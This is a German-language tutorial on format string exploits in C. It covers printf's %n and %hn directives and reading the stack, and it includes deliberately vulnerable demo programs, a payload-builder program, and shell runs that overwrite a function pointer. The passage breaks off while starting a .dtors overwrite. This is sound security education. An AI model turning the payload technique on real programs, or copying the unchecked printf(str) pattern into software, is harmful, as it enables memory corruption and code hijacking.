|
|
Dieses Dokument ist verfübar auf: English Deutsch Francais Nederlands Portugues Russian Turkce |
von Frédéric Raynal, Christophe Blaess, Christophe Grenier Über den Autor: Christophe Blaess ist ein unabhängiger Flugzeugingenieur. Er ist ein Linux-Fan, und erledigt den Großteil seiner Arbeit auf diesem System. Er koordiniert die Übersetzung der man-Pages des Linux Documentation Projects (LDP). Christophe Grenier studiert im 5.Jahr am ESIEA, wo er auch als Sysadmin arbeitet. Er interessiert sich besonders für Computersicherheit. Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von künstlichen Hormonen und ohne BSE .... es enthält nur den Schweiß ehrlicher Leute und einige Tricks. Inhalt:
|
Zusammenfassung:
Seit einiger Zeit mehren sich die Meldungen über format strings-Exploits. Dieser Artikel beschreibt, wie es zu diesen Exploits kommt, und zeigt, wie schon die Einsparung von sechs getippten Zeichen die Sicherheit eines Programms unterminieren kann. Dieser Artikel dürfte vor allem für C- und C++-Programmierer interessant sein, da vor allem in diesen Sprachen Format-Strings Verwendung finden.
Die meisten Sicherheitslücken entstehen durch Konfigurationsfehler oder Faulheit. Wie wir sehen werden, bestätigt sich diese Regel bei Format-Strings aufs Neue.
In einem Programm besteht häufig die Notwendigkeit, eine Zeichenkette (string) irgendwohin zu schreiben. Das "Wohin" ist dabei erstmal nicht so wichtig. Eine einfache Anweisung reicht dazu aus:
printf("%s", str);
Ein (fauler) Programmierer könnte auf die Idee kommen, sechs Zeichen (und damit Zeit) zu sparen, und stattdessen zu schreiben:
printf(str);
Derartig "Effizienz" anstrebend baut dieser Programmierer eine
potentielle Sicherheitslücke in sein Programm ein. Er ist
glücklich damit, einen einzelnen String als Argument
übergeben zu können, der einfach unverändert
angezeigt werden soll. Dieser String wird jedoch vor der Ausgabe
geparst, wobei er auf Format-Direktiven wie %d
,
%g
hin untersucht wird. Wird eine Direktive im String
gefunden, dann wird das korrespondierende Argument vom Stack
genommen.
Wir fangen mit einer Bescheibung der printf()
Funktionen an. Eigentlich kennt sie jeder... jedoch nicht im
Detail. Deshalb betrachten wir jetzt vor allem die weniger
bekannten Aspekte, und sehen uns danach an, woher wir die
nötigen Informationen bekommen, um die angedeutete
Sicherheitslücke auszunutzen. Zum Schluss fassen wir das alles
zu einem runden Beispiel zusammen.
printf()
: davon haben wir doch nichts
gewusst!Fangen wir mit dem an, was wir alle aus unseren Programmierhandbüchern wissen: die meisten C-Funktionen für Input/Output setzen eine Daten-Formatierung ein, was bedeutet, dass man nicht nur Daten zur Verfügung stellt, sondern zusätzlich festlegen muss, wie es zu tun ist. Das folgende Programm zeigt das:
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }
Übersetzen und Starten:
>>gcc display.c -o display >>./display int : 64 97 char : @ a
Das erste printf()
schreibt die Werte des Integers
a
und der char-Variablen a
als
int
(unter Verwendung von %d
), wobei
a
in Form seines ASCII-Wertes angezeigt wird. Genauso,
nur andersrum, wird beim zweiten printf()
die
Integervariable i
in ein Zeichen umgewandelt (ASCII
64).
Alles wie gehabt und gewohnt, und konform zu vielen Funktionen,
die ein Prototyping wie printf()
verwenden:
const char
*format
) wird als Format-Spezifikation verwendet;Die meisten Programmier-Anleitungen enden hier, wobei sie noch
eine meist nicht sehr umfassende Liste möglicher Formatstrings
angeben, wie %g
, %h
, %x
, und
vielleicht die Verwendung von .
, um die Genauigkeit
vorzugeben ("%5.2f"
). Aber es gibt eine weitere
Anweisung, über die nie gesprochen wird: %n
. Hier
die Info, die uns die Manpage zu printf()
gibt:
Die Anzahl bis jetzt geschriebener Zeichen wird im
angegebenen int * -Zeiger gespeichert. Kein
Argument wird umgewandelt. |
Und hieraus folgt die Kernaussage dieses Artikels: Dieses Argument macht es möglich, einen Wert in eine
Zeigervariable zu schreiben, selbst wenn %n
in
einer Ausgabe-Funktion verwendet wird!
Bevor wir weitermachen sei angemerkt, dass es diesen
Formatierungs-Befehl auch bei den Funktionen der
scanf()
und syslog()
-Familie gibt...
Wir betrachten nun die Verwendung und das Verhalten von
%n
anhand kleiner Programme. Das erste,
printf1
, zeigt eine sehr einfache Verwendung:
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
Das erste Argument in printf()
gibt den String
"0123456789
" aus, der 10 Zeichen enthält. Das
nächste, %n
, schreibt diesen Wert, 10, in die
Variable n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10
Wir ändern nun das Programm ein wenig, indem wir Zeile 7 durch folgende neue Zeile ersetzen:
7: printf("buf=%s%n\n", buf, &n);
Starten wir das veränderte Programm, dann bestätigt
sich unsere Vorstellung: Die Variable n
ist jetzt 14
(10 Zeichen des Strings in buf
, plus die vier Zeichen
"buf=
" vorne im Formatstring).
Wir wissen jetzt, dass %n
alle Zeichen zählt,
die im Formatstring auftauchen. Wie wir gleich im
printf2
-Programm sehen werden, zählt es sogar
noch weitere:
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }
Wir benutzen die snprintf()
-Funktion, um einen
Buffer-Overflow zu vermeiden. Die Variable n
sollte
jetzt den Wert 10 haben:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100
Seltsam!? Das %n
berechnet offensichtlich die
Anzahl der Zeichen, die (eigentlich) geschrieben werden sollten. Das Beispiel zeigt, dass das
Abschneiden eines Strings aufgrund einer
Größenfestlegung unbeachtet bleibt.
Was wirklich geschieht? Der Format-String wird voll gefüllt, bevor er beschnitten und in den Zielpuffer kopiert wird:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
Die Unterschiede zwischen printf3
und
printf2
sind:
buf
wird am Ende
ausgegeben.>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)
Die ersten beiden Zeilen überraschen nicht weiter. Die
letzte Zeile offenbart das Verhalten der
printf()
-Funktion:
00000\0
" ensteht;x
in den String kopiert, der
nun so aussieht: "01234\0
";sizeof buf - 1
Bytes2 dieses Strings in den Zielstring
buf
kopiert: "0123\0
"Das ist jetzt nicht völlig exakt, entspricht jedoch im
Großen und Ganzen dem Prozess. Wer sich für die
genaueren Einzelheiten interessiert, sollte die Sourcen
der GlibC
studieren, und darin speziell die von
vfprintf()
im ${GLIBC_HOME}/stdio-common
- Verzeichnis.
Bevor wir zum Ende dieses Kapitels kommen, sei noch darauf
hingewiesen, dass das gleiche Ergebnis auf eine leicht abgewandelte
Art hätte erzielt werden können. In unserem Beispiel
hatten wir die Formatanweisung für die Anzahl der
Stellen eingesetzt (den Punkt '.'). Es gibt jedoch noch eine
weitere Anweisung, die den gleichen Effekt erzeugt:
0n
, wobei n
die Breite ist, und
die 0
dafür sorgt, dass Leerzeichen im String
durch "0" ersetzt werden sollen, wenn nicht die gesamte
Stringbreite ausgenutzt wird.
Nachdem wir nun beinahe alles über Formatanweisungen
wissen, und vor allem auch über "%n
", werden wir
das Verhalten der Anweisungen näher unter die Lupe nehmen.
printf()
Das nächste Programm wird uns durch dieses Kapitel
begleiten, um uns die Zusammenhänge zwischen
printf()
und dem Stack zu zeigen:
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }
Dieses Programm kopiert lediglich ein Argument in den
buffer
. Wir achten darauf, dass kein Overflow
stattfindet, also keine wichtigen Daten überschrieben werden
.
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)
Das Programm funktioniert wie erwartet :). Um die weiteren
Schritte zu verstehen, betrachten wir nun zuerst, was aus Sicht des
Stacks passiert, wenn in Zeile 8 snprintf()
aufgerufen
wird.
Abb. 1 : Der Stack zu Beginn des
Aufrufs von snprintf() |
Abbildung 1 beschreibt den Zustand des
Stacks in dem Moment, in dem das Programm in die
snprintf()
-Funktion eintritt (wir werden sehen, dass
es nicht ganz korrekt ist - aber es vermittelt uns eine Idee davon,
was passiert). Die Variablen i
, buffer
und tmp
liegen in der Reihenfolge auf dem Stack, in
der sie im Programm auftreten. Mit dem Eintreten in die
snprintf()
-Funktion landen danach die
Funktions-Parameter auf dem Stack:
argv[1]
;Der argv[1]
-String wird gleichzeitig als
Formatstring und als Datenquelle benutzt. Entsprechend der
normalen Reihenfolge der Parameter der
snprintf()
-Funktion steht argv[1]
also
dort, wo normalerweise der Formatstring steht. Da auch
Formatstrings ohne Formatanweisungen gültig sind (nur Text),
ist alles in Ordnung :)
Aber was passiert, wenn in argv[1]
Formatanweisungen stehen? Die snprintf()
-Funktion
interpretiert sie ganz normal - und es gibt keinen Grund, warum sie
das nicht tun sollte. Nur könnte man sich hier fragen, welche
Argumente als zu formatierende Daten genommen werden... Nun:
snprintf()
nimmt sich die Daten einfach vom Stack!
Schauen wir uns das mit unserem stack
-Programm an:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Zuerst wird der "123
"-String in den
buffer
kopiert. Das %x
fordert
snprintf()
auf, den ersten übergebenen Wert in
die hexadezimale Schreibweise umzuwandeln. Gemäß
Abbildung 1 ist dieser erste Wert nichts
anderes als die tmp
-Variable, die den String
"\x01\x02\x03\x00
" enthält. Diese Bytes werden
also als Hexzahl "0x00030201" in den Buffer geschrieben. Die
umgedrehte Reihenfolge ergibt sich aus der Tatsache, dass die
x86-Prozessoren die Daten als Little Endian speichern.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Mit einem weiteren %x
können wir weiter in den
Stack hineingehen. snprintf()
wird damit angewiesen,
die nächsten vier Bytes hinter der tmp
-Variablen
auszulesen. Diese vier Bytes sind die ersten vier Bytes von
buffer
("123 "), die als 0x20333231 (0x20=space,
0x33='3'...) im Speicher liegen. Also, für jedes
%x
liest snprintf()
weitere vier Bytes
vom Stack in den buffer
(vier, weil ein unsigned
int
in einem x86-System vier Bytes belegt).
Die buffer
-Variable spielt also eine doppelte
Rolle:
Wir können solange weiter im Stack graben, wie
buffer
die erzeugten Zeichenketten aufnehmen kann:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
buffer
enthält, ermitteln. Die Adresse wurde vor
den Parametern der Funktion auf den Stack gelegt, und liegt deshalb
jenseits von tmp
, buffer
und
i
. Dabei besteht jedoch das Problem, dass der Platz in
buffer
begrenzt ist. Wir bräuchten eine
Fortmatanweisung, um gezielt Stackinhalte jenseits von
buffer
auszulesen...
Die Lösung finden wir in der Formatanweisung
m$
, die dazu dient, die Ausgabe-Reihenfolge von
Variablen über den Formatstring zu steuern. Dabei ist
m
ein Integer >0, der die Position der zu
benutzenden Variablen in der Liste der Argumente angibt (beginnend
mit 1). Mit dieser Anweisung kommen wir weiter:
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
Die Formatanweisung %m$x
gibt uns also die
Möglichkeit, abwärts zu einer beliebigen Stelle im Stack zu gehen. Höhere
m
's bedeuten tiefere Stellen im Stack, da Parameter
mit höheren Positionen zuerst auf den Stack gelegt werden:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Das \
ist hier notwendig, um das $
vor
der Shell zu schützen. Mit den ersten drei Aufrufen lesen wir
den Inhalt von buf
aus, das in diesem Programm nur
noch 12 Bytes lang ist. Mit %4\$x
lesen wir den Inhalt
des gespeicherten %ebp
-Registers, und mit
%5\$x
den Inhalt des gesicherten
%eip
-Registers (also der Rücksprungadresse). Die
letzten beiden Aufrufe zeigen den Inhalt der
argc
-Variablen und der Adresse in
*argv
.
Dieses Beispiel zeigt uns, dass man mit den zur Verfügung
stehenden Format-Anweisungen den Stack auf der Suche nach
interessanten Informationen durchsuchen kann, wie dem
Rückgabewert einer Funktion, einer Adresse, usw...
Wir haben aber auch gesehen, dass wir mit Funktionen der
printf()
-Familie Inhalte von Variablen verändern
können. Na, klingt das nicht wie ein wunderschönes
potentielles Sicherheitsloch?
Betrachten wir noch einmal das stack
-Programm:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿00000000000000000000000000000000000000000000 000000000000000] (63) i = 500 (bffff664)Der Parameter-String für
stack
besteht aus:
i
,%.496x
),%n
), die an die
angegebene Adresse schreiben wird.i
(hier 0xbffff664
) zu
ermitteln, können wie das Programm zweimal starten, und beim
zweiten Mal die Kommandozeile entsprechend anpassen. Wie du beim
Aufruf sehen kannst, hat i
einen neuen Wert!
:).snprintf()
folgender Aufruf:
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, die 4 ersten Bytes in buffer);
Die ersten vier Bytes (mit der Adresse von i
)
werden an den Anfang von buffer
geschrieben. Die
folgende Anweisung %.496x
liest tmp
vom
Stack und schreibt damit weitere 60 Zeichen in den buffer (sizeof
buffer = 64, 4 Bytes schon geschrieben).
Wenn der Format-Interpreter bei "%n" ankommt, schreibt er die Zahl
bereits geschriebener Zeichen (496 eigentlich geschriebener
Zeichen plus der vier Bytes der Adresse von i
) in die
als nächstes auf dem Stack folgende Adresse. Da kein Zeiger
auf einen String als Parameter an snprintf()
übergeben wurde, werden dafür die nächsten 4 Bytes
vom Stack genommen: die ersten 4 Bytes von buffer
-
mit der Adresse von i
!
Die Zahl 496 ist dabei relativ beliebig - es ist der Wert, der
nach i
geschrieben werden soll, minus 4.
Wir können das Ganze noch weiter treiben. Um i
ändern zu können, brauchen wir ja seine Adresse, die
nicht unbedingt bekannt ist... manchmal jedoch liefert uns ein
Programm selbst die richtige Adresse:
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Bei diesem Programm können wir den Stack (beinahe) beliebig kontrollieren:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
"swap AAAA%1\$n
" bedeutet bei diesem Programm in
Worten: "Gib AAAA aus, und schreibe dann die Anzahl geschriebener
Zeichen an die Adresse, die an der Stelle 1 auf dem Stack liegt.".
Wir können hier also abhängig vom Parameter gezielt den
Wert von cpt1
oder cpt2
ändern.
Da %n
eine Adresse benötigt, können wir
nicht direkt in die Variablen schreiben [also %3$n
(cpt2)
oder %4$n (cpt1)
], sondern müssen
die Zeiger benutzen. Letztere sind in C üblich - und bieten
wirklich vielfältige Manipulations-Möglichkeiten.
egcs-2.91.66
und glibc-2.1.3-22
kompiliert wurde. Möglicherweise erhältst du auf deinem
System nicht die gleichen Resulate, weil die Funktionen in der Art
von *printf()
von der glibc
abhängen, und nicht von allen Compilern gleich compiliert
werden.
Das Programm stuff
zeigt diese Unterschiede
auf:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Die Arrays aaa
und bbb
dienen uns auf
unserer Reise durch den Stack als Trennmarke. Wenn wir auf
424242
treffen wissen wir also, dass die nächsten
Bytes zum buffer
gehören.
Tabelle 1 zeigt die Unterschiede
abhängig von der Version der glibc und der Compiler.
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Wir werden im Artikel weiterhin egcs-2.91.66
und
die glibc-2.1.3-22
einsetzen - wenn du auf deinem
System Unterschiede feststellst, sollte dich das jetzt nicht mehr
überraschen.
Beim Exploiten von buffer overflows hatten wir einen buffer benutzt, um die Rücksprungadresse einer Funktion zu überschreiben.
Wie wir gesehen haben, können wir mit Formtstrings an eine
beliebige Stelle gehen (stack, heap, bss,
.dtors, ...) - wir müssen nur sagen, wohin wir
was mit Hilfe von %n
schreiben wollen.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
Wir definieren eine Variable mit dem Namen ptrf
,
die ein Zeiger auf eine Funktion ist. Wir werden den Wert dieses
Zeigers so verändern, dass eine Funktion unserer Wahl
gestartet wird.
Zuerst müssen wir den Offset zwischen dem Anfang des verwundbaren Buffers und unserer aktuellen Position auf dem Stack ermitteln:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Der erste Aufruf gibt uns das, was wir brauchen: 3 Worte (1 Wort
= 4 Bytes bei x86 CPU) trennen uns vom Anfang der
buffer
-Variablen. Der zweite Aufruf mit
"AAAA%3\$x
" bestätigt das.
Unser Ziel besteht nun darin, den ursprünglichen Wert des
Zeigers ptrf
(0x8048634
, der Adresse der
Funktion helloWorld()
) durch den Wert
0x8048654
(Addresse von
accessForbidden()
) zu ersetzen.
Dazu müssen wir 0x8048654
Bytes schreiben
(dezimal 134514260, also ca. 128MB). Nicht alle Rechner
verfügen über den notwendigen Speicher - aber unserer
tuts :-). Auf einem Dual-Pentium mit 350MHz dauert es etwa 20
Sekunden:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿00000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Was haben wir gemacht? Wir haben nur die Adresse von ptrf
(0xbffff5d4)
übergeben. Die folgende Formatanweisung
(%.134514256x
) liest das erste Wort vom Stack, mit
einer "Genauigkeit" von 134514256. Wir haben schon die 4 Bytes der
Adresse von ptrf
geschrieben, müssen also noch
134514260-4=134514256
Bytes schreiben. Zum Schluss
schreiben wir den gewünschten Wert an die angegebene Adresse
(%3$n
).
Wie bereits angedeutet stehen nicht immer 128MB für den
buffer zur Verfügung. Die Formatanweisung %n
erwartet einen Zeiger auf einen Integer, also vier Bytes. Man kann
es jedoch so modifizieren, dass es einen Zeiger auf einen
short int
erwartet - das sind dann nur 2 Bytes - in
dem man %hn
schreibt. Das heißt, wir können
das Schreiben des Integers in zwei Zahlen aufspalten. Die
größte zu schreibende Zahl ist dabei 0xffff
(65535). Bezogen auf das vorhergehende Beispiel wandeln wir also
die Operation "schreibe 0x8048654
an die Adresse
0xbffff5d4
" um in zwei aufeinanderfolgende, kleinere
Operationen:
0x8654
nach
0xbffff5d4
0x0804
nach
0xbffff5d4+2=0xbffff5d6
%n
(oder %hn
) berechnen die Zahl der
bereits in den String geschriebenen Zeichen. Diese Zahl kann sich
dadurch nur erhöhen, wir müssen also zuerst den kleineren
Wert schreiben. Die zweite Anweisung bekommt dann als "Genauigkeit"
die Differenz zwischen dem gebrauchten Wert und dem ersten Wert. In
unserem Beispiel ist die erste Anweisung %.2052x
(2052
= 0x0804), und die zweite %.32336x
(32336 = 0x8654 -
0x0804). Jedes folgende %hn
wird die richtige Anzahl
Bytes aufnehmen.
Wir müssen nur angeben wohin beide %hn
geschrieben werden sollen. Der m$
Operator wird uns
dabei helfen. Wenn wir die Adresse am Anfang des verletzbaren
Buffers speichern, dann müssen wir nur duch den Stack gehen
und den Offset zum Anfang des Stacks finden mit Hilfe des
m$
Formates. Beide Adressen werden dann bei einem
Offset von m
und m+1
sein. Da wir die
ersten 8 Bytes im Buffer für die zu überschreibende
Adresse benutzen, muß der erste Wert um 8 erniedrigt
werden.
So sieht unser Format-String aus:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
Das folgende build
-Programm erzeugt einen
Format-String abhängig von den drei Argumenten:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* too lazy to evaluate the true length ... */ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Abhängig davon, ob der erste geschriebene Wert der High- oder Low-Teil des WORD ist, ändert sich die Position der Argumente. Schauen wir mal, welche Lösung (ohne RAM-Probleme :-) ) das Programm ausspuckt.
Unser kleines Beispielprogramm von vorhin erlaubt es uns, den Offset zu ermitteln:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Es ist immer: 3. Da unser Programm konstruiert wurde, um zu
erklären, was passiert, verfügen wir bereits über
die weiteren Informationen, die wir brauchen: die Adressen von
ptrf
und accesForbidden()
. Wir legen
unseren Buffer entsprechend an:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Es passiert nichts! Nun, da wir einen längeren buffer verwendet haben als im vorherigen Beispiel, hat sich der Stack verschoben(
ptrf
ist von 0xbffff5d4
nach
0xbffff5b4
gewandert). Unsere Werte müssen
entsprechend angepasst werden:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Gewonnen!!!
Wie gesehen können wir mit den Format-Strings überall hin
schreiben. Wir betrachten nun ein Beispiel für einen Exploit,
der die .dtors
-Section nutzt.
Wenn ein Programm mit gcc
kompiliert wird, findet
man nachher im Programm sowohl einen Konstruktor
(.ctors
-Section) als auch einen Destruktor
(.dtors
-Section). Diese Sections enthalten Zeiger auf
Unterprogramme, die vor bzw. nach dem main-Programm ausgeführt
werden:
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }Unser kleines Programm zeigt den Mechanismus:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Diese Sections haben beiden denselben Aufbau:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Wir sehen, dass jeweils das dritte WORD (in little endian) die Adresse unseres Unterprogramms (start und end) ist:
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDie Sections beinhalten also die Adressen, eingerahmt in
0xffffffff
und 0x00000000
.
Nun wenden wir das auf unser vuln
-Programm an,
wobei wir einen Format-String einsetzen. Zuerst benötigen wir
die Adressen, unter denen die Sections im Speicher stehen. Das ist
wirklich leicht, da wir das Binary haben ;-). Wir setzen einfach
wie eben objdump
ein:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Da isses! Wir haben alles was wir brauchen.
Das Ziel des Exploits besteht darin, die Adresse eines
Unterprogramms in einer der Sections durch die des Unterprogramms
zu ersetzen, das wir starten wollen. Wenn die Sections leer sind,
überschreiben wir einfach die Endemarke der Sections
(0x00000000
). Das erzeugt später einen
segmentation fault, da das Programm seinen 0x00000000
Marker nicht findet, und den nächsten Wert als Zeiger auf ein
Unterprogramm wertet, was nicht unbedingt zutrifft.
Eigentlich ist der einzig interessante Abschnitt der destructor
(.dtors
): Wir haben keine Zeit irgendetwas von dem
Constructor (.ctors
) zu machen. Normalerweise ist es
genug, die Adresse 4 Bytes nach dem Start des Abschnittes
0xffffffff
zu setzen:
0x00000000
;Nun zurück zu unserem Beispiel. Wir ersetzten
0x00000000
im Abschnitt .dtors
und
plazierten dort 0x8049848=0x8049844+4
mit der Adresse
der accesForbidden()
Funktion, die wir schon kennen
(0x8048664
):
